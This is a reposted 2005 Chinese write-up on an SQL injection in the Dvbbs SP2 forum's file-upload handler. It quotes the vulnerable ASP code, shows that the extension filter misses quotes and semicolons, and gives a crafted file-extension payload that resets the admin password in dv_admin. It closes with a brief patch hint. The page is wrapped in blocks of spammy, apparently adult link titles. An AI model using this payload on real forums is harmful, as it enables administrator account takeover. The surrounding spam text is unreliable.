国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

dvsp2上傳漏洞再現(xiàn)----擊潰動網(wǎng)sp2的神話
2005-12-17   

前段時間聽說動網(wǎng)的上傳再次出現(xiàn)了不可修復(fù)的錯誤,有人居然說是upload.inc有錯,我仔細的讀了N遍代碼,可以肯定的說,upload.inc應(yīng)該沒有辦法利用,今天無意中跑到動網(wǎng)的官方網(wǎng)站上去仔細的看了一下,個人資料修改里有上傳,但是發(fā)帖里卻沒有上傳,upload.asp和post_upload.asp同樣用到了upload.inc,證明這個文件絕對沒有問題,那問題一定出在post_upfile.asp上了,打開這個文件再次通讀一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
有sql語句,難道傳說中的上傳再次利用是注入而不是上傳,那我們就把他提交的變量每一個來通讀一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F(xiàn)_Viewname,F(xiàn)_Type,F(xiàn)ilesize這幾個是肯定沒有問題的,其它的幾個我們就來看一下,這幾個變量從哪來的,怎么得到的!
先說第一個replace(rename,"|","")把rename里的"|"這個符號去掉,我們看看rename的變量怎么來的,rename=createPath&Filename&"|"
是用createpath和filename連接起來再加上"|"生成的,"|"符號在后面被過濾了,可以不用考濾,再分別看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt聯(lián)合起來的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function
很明顯,file_name是按年月日加隨機數(shù)生成的,沒有辦法利用,疑點就在fileExt了。。。。。
難道,傳說中的就要出現(xiàn)了,先不慌,我們先看看其它的地方
而creatpath又是這樣來的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月創(chuàng)建上傳文件夾,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function
creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之類的,這樣,又不能利用
好,這里發(fā)現(xiàn)一個疑點了
我們再看另一個變量replace(FileExt,".",""),直接就是前面提到的有疑點的那個fileExt了,呵呵,看準了,就是他了。我們把他的來龍去脈全找出來,看看能不能利用
Set File=upload.File(FormName) ''生成一個文件對象
FileExt=FixName(File.FileExt)
在這里,他開始出現(xiàn)了
file.fileExt這個不是我們提交的擴展名嗎,玩過動網(wǎng)上傳的都知道,抓個包,改個擴展名這是蠻正常的事,看來有門了,至少我們這個地方可以利用,====,F(xiàn)ileExt=FixName(File.FileExt)他還用fixname來過濾了的,我們看看這個函數(shù)有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替換成空了,為什么動網(wǎng)sp2的上傳利用不了,就在這里的原因
FixName = Replace(FixName,"asp","")把asp替換成空
FixName = Replace(FixName,"asa","") asa過濾
FixName = Replace(FixName,"aspx","") aspx過濾
FixName = Replace(FixName,"cer","") cer過濾
FixName = Replace(FixName,"cdx","") cdx過濾
FixName = Replace(FixName,"htr","") htr過濾
End Function
哈哈,全部只是過濾了一些特殊的地方,但是我們?nèi)绻脕碜⑷胗玫降囊枺痔枺禾枺粋€都沒有過濾,也就是說是通行無阻了,嘎嘎,接下來就是用到構(gòu)造語句了,我們再來看他的sql語句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)
在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
這些全部是正常的,我們改了fleExt后,rename也跟著變化了,所以實際上后面的&replace(FileExt,".","")&這里我們就可以不管了,只要構(gòu)造前面的rename,再看看reanme是如何來的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt
createpath是正常的一串值,可以不計,file_name也是正常的值可以不計,中間有一個.可以不計,后面的"|"他幫我們自己過濾了,可以不計.我們假設(shè)他的語句為
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)
這是一條正常的語句,我們能利用的地方就是jpg,這個地方是我們包里可以傳送過去的,是本地的文件擴展名,那我們就把jpg構(gòu)造成具體的完整的sql語句。
比如jpg替換成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg
(說一句,他的f_type是用來檢測文件類型的,如果是1,也就是圖片就執(zhí)行的前一條sql語句,如果是其它就執(zhí)行的后一條語句,具體的代碼在這里
F_Type = CheckFiletype(FileExt)
checkfiletype函數(shù)的代碼又是這樣的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function
這里也用到了fileExt這個變量,也就是我們的擴展名
去掉所有的".",然后再去取后的擴展名,所以我們的語句最后結(jié)束時要用考濾到這個,因為第一語句和第二語句構(gòu)造方法不一樣的!)
嘎嘎,dv_admin里的admin的userpassword就被改為123了.
如果是access版的好像有點難度,分號是不能多語執(zhí)行的,又不是where條件,不能拿來猜測,而且values的值好像不能用select 來把其它的值填入,只有把整個select 的值拿來返回做為記錄加入,沒辦法在values里單獨取值,有沒有人能有辦法構(gòu)造出這個完美的語法來,教教偶,偶sql水平不是蠻高,access版的暫時還沒有想到完整的辦法。
文章至些結(jié)束了,最重要的要說的就是所有的放入到sql語句里的參數(shù)都要嚴格檢測,這個地方的補丁一個是在fixname()函數(shù)里過濾,如果不會的暫時就先關(guān)掉發(fā)帖上傳的功能吧,等補丁!:)

熱詞搜索:

上一篇:SQL注入得到WEBSHELL
下一篇:腳本攻擊防范策略完全篇

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
亚洲色无码播放| 亚洲人成77777在线观看网| 亚洲宅男天堂在线观看无病毒| 国产精品久久久免费| 久久黄金**| 国产情人综合久久777777| 亚洲一区视频| 欧美成人精品一区二区| 久久精品日韩| 国产日韩一区二区| 欧美在线观看天堂一区二区三区| 欧美精品久久99| 性18欧美另类| 在线观看视频一区二区| 欧美日韩三级| 久久一区中文字幕| 亚洲一二三级电影| 亚洲国产美女| 欧美国产亚洲精品久久久8v| 在线免费观看视频一区| 理论片一区二区在线| 国产女人精品视频| 欧美日韩视频第一区| 欧美日韩国产精品一区二区亚洲| 欧美1区2区| 亚洲性图久久| 亚洲欧美精品suv| 午夜在线不卡| 欧美影院视频| 欧美一区二区三区成人| 亚洲一区二区av电影| 模特精品在线| 久久精品五月| 欧美一区二区播放| 午夜精品在线看| 欧美不卡福利| 久久国产精品久久久久久电车| 麻豆久久婷婷| 国产精品乱码人人做人人爱| 亚洲看片一区| 国产精品一区在线观看| 亚洲精品国产欧美| 久久久一本精品99久久精品66| 亚洲精品在线观| 亚洲经典在线| 在线观看视频免费一区二区三区 | 欧美视频一区在线观看| 午夜天堂精品久久久久| 亚洲专区免费| 久久一区二区三区超碰国产精品| 久久国产精品黑丝| 久久免费视频在线| 欧美午夜免费| 国产精品亚洲片夜色在线| 午夜精品久久久| 久久亚洲精品伦理| 国产精品v日韩精品| 欧美系列精品| 蜜桃精品一区二区三区 | 亚洲国产精品成人久久综合一区| 国产欧美日韩精品专区| 国内揄拍国内精品少妇国语| 91久久精品国产91久久性色tv| 亚洲性xxxx| 欧美大色视频| 国产在线乱码一区二区三区| 亚洲第一主播视频| 先锋影音国产一区| 欧美日韩在线观看视频| 在线免费观看视频一区| 午夜一级久久| 欧美视频精品在线| 在线一区二区三区做爰视频网站| 尤物网精品视频| 日韩亚洲欧美成人| 鲁大师影院一区二区三区| 国产亚洲福利| 亚洲欧美日韩精品久久久| 有坂深雪在线一区| 久久aⅴ国产欧美74aaa| 欧美韩日一区二区三区| 黄色av日韩| 欧美日韩高清免费| 亚洲无限乱码一二三四麻| 国产精品免费网站在线观看| 亚洲成人在线视频网站| 欧美在线综合视频| 狠狠色综合网| 欧美电影免费| 亚洲手机视频| 国产亚洲精品一区二区| 久久九九久精品国产免费直播| 国产在线观看一区| 欧美精品乱码久久久久久按摩| 最新亚洲激情| 国产精品无码永久免费888| 久久久xxx| 亚洲一区黄色| 在线视频中文亚洲| 亚洲第一在线| 国产日本欧美一区二区三区在线 | 国产精品丝袜久久久久久app| 欧美成人一区二区三区| 在线观看日韩专区| 欧美激情精品久久久久久大尺度 | 欧美日韩岛国| 欧美极品在线观看| 久久精品卡一| 国产亚洲一区二区三区在线观看| 亚洲第一久久影院| 亚洲欧美视频| 久久午夜电影网| 欧美人在线观看| 亚洲一区二区免费视频| 亚洲视频成人| 国产区日韩欧美| 国产精品视频免费观看| 欧美日韩国产色综合一二三四| 欧美在线观看www| 亚洲精品国产精品国自产观看浪潮 | 国产一区二区视频在线观看| 国产一区二区三区久久久| 99精品国产高清一区二区| 欧美中文在线观看| 欧美电影电视剧在线观看| 欧美搞黄网站| 国产精品乱码一区二区三区| 欧美先锋影音| 亚洲欧美制服中文字幕| 亚洲电影免费观看高清| 欧美一区二区在线| 欧美一区国产一区| 午夜在线不卡| 欧美日韩一区二区三区免费看| 国产欧美精品日韩区二区麻豆天美| aaa亚洲精品一二三区| 久久久久国产一区二区三区| 狠狠色狠狠色综合日日tαg| 久久精品首页| 亚洲午夜激情网站| 欧美性猛片xxxx免费看久爱| 一本色道久久综合亚洲精品高清| 欧美片第1页综合| 亚洲电影天堂av| 一区二区三区 在线观看视| 久久久久久高潮国产精品视| 亚洲人成久久| 国产视频亚洲精品| 欧美日韩另类在线| 国产欧美一区二区精品仙草咪 | 国产区日韩欧美| 激情久久久久| 国产精品自拍视频| 欧美激情91| 蜜臀av性久久久久蜜臀aⅴ| 亚洲欧美日韩精品久久亚洲区 | 国产亚洲成av人在线观看导航| 欧美黑人国产人伦爽爽爽| 亚洲欧美日韩国产精品| a4yy欧美一区二区三区| 亚洲国内欧美| 亚洲国产视频a| 国产欧美日韩免费| 国产精品久久久久久久午夜 | 亚洲综合大片69999| 亚洲在线一区二区| 国产精品久久久久永久免费观看| 欧美一区二区三区精品| 狠狠色综合网站久久久久久久| 久久综合伊人77777蜜臀| 一区二区三区偷拍| 亚洲第一中文字幕在线观看| 国产精品大全| 女人天堂亚洲aⅴ在线观看| 亚洲一区精彩视频| 亚洲精品一区二区三区樱花| 在线电影国产精品| 欧美视频在线观看 亚洲欧| 欧美母乳在线| 国产精品99久久久久久久久久久久| 亚洲激情网站免费观看| 在线播放中文字幕一区| 极品尤物久久久av免费看| 国产自产精品| 国产在线精品成人一区二区三区| 国产精品高潮呻吟| 国产精品va在线播放| 欧美色欧美亚洲另类二区| 欧美日韩国产在线| 欧美人在线观看| 欧美日韩裸体免费视频| 欧美午夜在线视频| 久久午夜精品| 久久九九热re6这里有精品| 在线播放国产一区中文字幕剧情欧美| 国产欧美亚洲日本| 国产一区日韩一区| 亚洲免费av观看| 国产综合18久久久久久| 91久久精品日日躁夜夜躁国产|